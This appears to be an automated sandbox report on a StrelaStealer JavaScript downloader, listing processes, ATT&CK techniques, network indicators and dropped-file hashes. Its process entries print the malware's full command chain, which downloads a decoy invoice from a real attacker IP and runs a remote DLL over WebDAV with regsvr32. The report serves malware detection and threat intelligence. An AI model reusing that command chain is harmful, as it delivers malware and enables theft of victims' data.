Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2067419799306291220.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
2067419799306291220.js	10%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.1380151105.000002C1F6A20000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false	high
http://crl.ver)	svchost.exe, 0000000F.00000002.2565939002.000002C1F6800000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false	high
https://www.adobe.co	ReaderMessages.11.dr	false	high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false	high
http://193.143.1.205:8888/	net.exe, 0000000D.00000002.1391663684.000001FF05C76000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1379237224.000001FF05C9E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1391663684.000001FF05C86000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/_	net.exe, 0000000D.00000003.1381577331.000001FF05C76000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1391663684.000001FF05C76000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588859
Start date and time:	2025-01-11 06:23:37 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2067419799306291220.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 50.16.47.176, 18.213.11.84, 34.237.241.83, 54.224.241.105, 199.232.214.172, 23.209.209.135, 2.23.242.162, 2.16.168.107, 2.16.168.105, 184.28.90.27, 13.107.246.45, 172.202.163.200, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:24:38	API Interceptor	21x Sleep call for process: powershell.exe modified
00:24:44	API Interceptor	1x Sleep call for process: net.exe modified
00:24:44	API Interceptor	2x Sleep call for process: svchost.exe modified
00:24:51	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	313992165580428308.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	247624346306918832.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225803042163626345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	522327491130758262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1574285771252416900.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	201672639780846903.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	313992165580428308.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	247624346306918832.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2272523722022218526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	225803042163626345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	522327491130758262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1574285771252416900.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	201672639780846903.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067033807056918
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqo:2JIB/wUKUKQncEmYRTwh00
MD5:	DF71B198518743C8B797E9DE51925F1A
SHA1:	0B6A3FED421674EF1E3BDCCF06875ABCB73C71DC
SHA-256:	3DB1AA8EBE6AEC5337E6477288936C558AF6A6711253CACAA2A9FB8048AD26AE
SHA-512:	7113F9D6807B586F61562C9D59D346AF37C799B4A257D0406B43CD49A96E82808B8AE7C062DC45675DC4F7E0AA6B6E712BF674D787F879B30066E7AFC7C991F1
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x85fa2819, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.789995839682823
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:jazaPvgurTd42UgSii
MD5:	175BDF031D7F3339187CB9D08FDA8F09
SHA1:	B4441CDDEE2408BF47D09FFA37EDB6E7236DBE2D
SHA-256:	20C0F46D25F9CADE24BA697555E9B10F0DE2F032EAEDA9B7B18109653813B074
SHA-512:	33A45B66CF4735BA29BBFE3388D56E06460FFDBB113EA807AD1E571F1B8C4B36546F8E3C9B29B2987E3E57751F9537BF458F4902977F292C0EFBCAAAF8005F95
Malicious:	false
Preview:	..(.... ...............X\...;...{......................0.`.....42...{5.,....}}.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................f.,....}.................._mF.,....}}..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08206450048873956
Encrypted:	false
SSDEEP:	3:YnmUYe+W1hvt/57Dek3Jfcv+hvollEqW3l/TjzzQ/t:azlhFR3tfDhQmd8/
MD5:	67D0826F4A915F0A8EE9841B847F833F
SHA1:	43882C560A8736B4F85FF6D2976A866164F11CF2
SHA-256:	5AB8DAE55F75C32FA5CCE4C7A75BFB3F56DACE2A0FBFA9CE4B3F0FE20535B5E6
SHA-512:	3CC5F2A29672B4831B94A71FAB26D6F8AE6D9588DFB2461F5FB5AB8CBA68DA1CF216D301B2997426BF7D2468701062161450DB6D834C17CF7A524661C250F694
Malicious:	false
Preview:	5Ky......................................;...{..,....}}.42...{5.........42...{5.42...{5...Y.42...{59................_mF.,....}}.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.194399870318252
Encrypted:	false
SSDEEP:	6:iObLUN+q2PcNwi2nKuAl9OmbnIFUtRLJHZZmwfLC3VkwOcNwi2nKuAl9OmbjLJ:7vNvLZHAahFUttJHZ/jCF54ZHAaSJ
MD5:	22B6BEF893B54FA2908B20A33237B5AD
SHA1:	C246F5781C737839BA3FE3AC6206E55E8C2634C5
SHA-256:	20B0C3816759A7E4F1F5CBAF8052A2795768BAC23938E1E2D2E916B5340BA67C
SHA-512:	EA801AA449F016F6444B1872DF7F25DBB4CCDF2106E3EAD240DA8C25E39FDC12E182DE268B0981BFCC735993D90693B0BDF200EA9A374A0B607190190C4A4B03
Malicious:	false
Preview:	2025/01/11-00:24:43.890 1e08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:24:43.907 1e08 Recovering log #3.2025/01/11-00:24:43.908 1e08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.194399870318252
Encrypted:	false
SSDEEP:	6:iObLUN+q2PcNwi2nKuAl9OmbnIFUtRLJHZZmwfLC3VkwOcNwi2nKuAl9OmbjLJ:7vNvLZHAahFUttJHZ/jCF54ZHAaSJ
MD5:	22B6BEF893B54FA2908B20A33237B5AD
SHA1:	C246F5781C737839BA3FE3AC6206E55E8C2634C5
SHA-256:	20B0C3816759A7E4F1F5CBAF8052A2795768BAC23938E1E2D2E916B5340BA67C
SHA-512:	EA801AA449F016F6444B1872DF7F25DBB4CCDF2106E3EAD240DA8C25E39FDC12E182DE268B0981BFCC735993D90693B0BDF200EA9A374A0B607190190C4A4B03
Malicious:	false
Preview:	2025/01/11-00:24:43.890 1e08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:24:43.907 1e08 Recovering log #3.2025/01/11-00:24:43.908 1e08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.116948641677066
Encrypted:	false
SSDEEP:	6:iOe34q2PcNwi2nKuAl9Ombzo2jMGIFUtJZpJZmwBU03DkwOcNwi2nKuAl9Ombzos:7XvLZHAa8uFUtLD/BHz54ZHAa8RJ
MD5:	1369EF1945A00234819F117F04C6BF3C
SHA1:	E86679F035C0B36D6D9225517152216E354C7183
SHA-256:	100D86CFA9A71C5359D00640755116D6DBE084D83C2ABB5935106F8607D8ED5A
SHA-512:	06FBD5AA31C05A3CA37C06DC47965D1F3CDA4135B7E53520CAFA855EC2A089F5C6EB2A8EFBA359822002D1726E14C906A337BA9876822BF70D0F32F9BCB6E91A
Malicious:	false
Preview:	2025/01/11-00:24:44.006 1ed0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:24:44.007 1ed0 Recovering log #3.2025/01/11-00:24:44.009 1ed0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.116948641677066
Encrypted:	false
SSDEEP:	6:iOe34q2PcNwi2nKuAl9Ombzo2jMGIFUtJZpJZmwBU03DkwOcNwi2nKuAl9Ombzos:7XvLZHAa8uFUtLD/BHz54ZHAa8RJ
MD5:	1369EF1945A00234819F117F04C6BF3C
SHA1:	E86679F035C0B36D6D9225517152216E354C7183
SHA-256:	100D86CFA9A71C5359D00640755116D6DBE084D83C2ABB5935106F8607D8ED5A
SHA-512:	06FBD5AA31C05A3CA37C06DC47965D1F3CDA4135B7E53520CAFA855EC2A089F5C6EB2A8EFBA359822002D1726E14C906A337BA9876822BF70D0F32F9BCB6E91A
Malicious:	false
Preview:	2025/01/11-00:24:44.006 1ed0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:24:44.007 1ed0 Recovering log #3.2025/01/11-00:24:44.009 1ed0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96930632548093
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4TX:Y2sRdsRdMHSOL3QYhbSpDa7n7
MD5:	FBDCC2772AA26D64959F72A60AEED4DF
SHA1:	65DC55AD8E6AF60BDBDD0E6F3BCA306D1B4706A3
SHA-256:	6C648B6773C99F25E60A691E688BE640F52738A14D94F8FADC01AE9E9EF81C05
SHA-512:	036D6EC84050006D1B725801BC5A70C4DAB1CFBFA5DC114D33BF66DA4BA362C4AD22E5DF5742BB5319A01434B5451162030B50828D20A72BB418824F5555D9E1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF577363.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96930632548093
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4TX:Y2sRdsRdMHSOL3QYhbSpDa7n7
MD5:	FBDCC2772AA26D64959F72A60AEED4DF
SHA1:	65DC55AD8E6AF60BDBDD0E6F3BCA306D1B4706A3
SHA-256:	6C648B6773C99F25E60A691E688BE640F52738A14D94F8FADC01AE9E9EF81C05
SHA-512:	036D6EC84050006D1B725801BC5A70C4DAB1CFBFA5DC114D33BF66DA4BA362C4AD22E5DF5742BB5319A01434B5451162030B50828D20A72BB418824F5555D9E1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a7c074e1-9410-4348-8c53-46bd9cccdaab.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96930632548093
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4TX:Y2sRdsRdMHSOL3QYhbSpDa7n7
MD5:	FBDCC2772AA26D64959F72A60AEED4DF
SHA1:	65DC55AD8E6AF60BDBDD0E6F3BCA306D1B4706A3
SHA-256:	6C648B6773C99F25E60A691E688BE640F52738A14D94F8FADC01AE9E9EF81C05
SHA-512:	036D6EC84050006D1B725801BC5A70C4DAB1CFBFA5DC114D33BF66DA4BA362C4AD22E5DF5742BB5319A01434B5451162030B50828D20A72BB418824F5555D9E1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ec2976d2-dbd5-4700-90da-65822105b5b8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqhsBdOg2HnZcaq3QYiubSpDyP7E4TX:Y2sRds/dMHng3QYhbSpDa7n7
MD5:	0647BF0BB1300006B45C6B4175CAF79A
SHA1:	10BBA82F6E50671C59BE73FC82A74F6892615293
SHA-256:	F2DE9C9390FAD0E065941365CA72C72F2F40DF7792364DAAE18C80A4584433A5
SHA-512:	0D79C1FA8A9537CC7C925806726CBBE1DD1442B0A21E462D9E10888BD07514BF10341FA59BC117425561C82C0EB351C307B54C2F3A11B9F2D3FACDAA60C10B84
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381133095947219","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":323630},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.236563773623898
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPbygV:CwNw1GHqPySfkcigoO3h28ytPbygV
MD5:	C18D35A49F73F2A31BAF6618B30783F3
SHA1:	988AFF4EEABF6CB9A691653A1AD57AA8F38BAF6E
SHA-256:	2DB17FF36B9563BC74DDB2722A8869B3216FEBFE9AE34A76547C7177D0F703FD
SHA-512:	FF2E66820507F78AAB79BD44E22356C6F3D58248F5BB256D130E5B5861E50F21DFD469148A2A2EC82B2046D7752E1AFD1E1E6DF58C50EFFDCCBBC9BB593931CE
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.184164886057212
Encrypted:	false
SSDEEP:	6:iOU34q2PcNwi2nKuAl9OmbzNMxIFUt2vJZmwpDkwOcNwi2nKuAl9OmbzNMFLJ:7NvLZHAa8jFUt2h/Z54ZHAa84J
MD5:	EEFC4B3BD71AEE64236C80A66A130268
SHA1:	E33CCB5FB2788681844DF70E2D331C11144780CE
SHA-256:	A669D222D969462F3E8DC31591BB5A1414B3B72EAA1D0841107F341ABB17A40D
SHA-512:	9D63911509AD97A30A00FCC5B250946F511C270688326695B145CB19DE504D9B55893947BCCC2BD64772286A682832DDEE5E1DB13FE99795874B204F3E6698EC
Malicious:	false
Preview:	2025/01/11-00:24:44.376 1ed0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:24:44.387 1ed0 Recovering log #3.2025/01/11-00:24:44.391 1ed0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

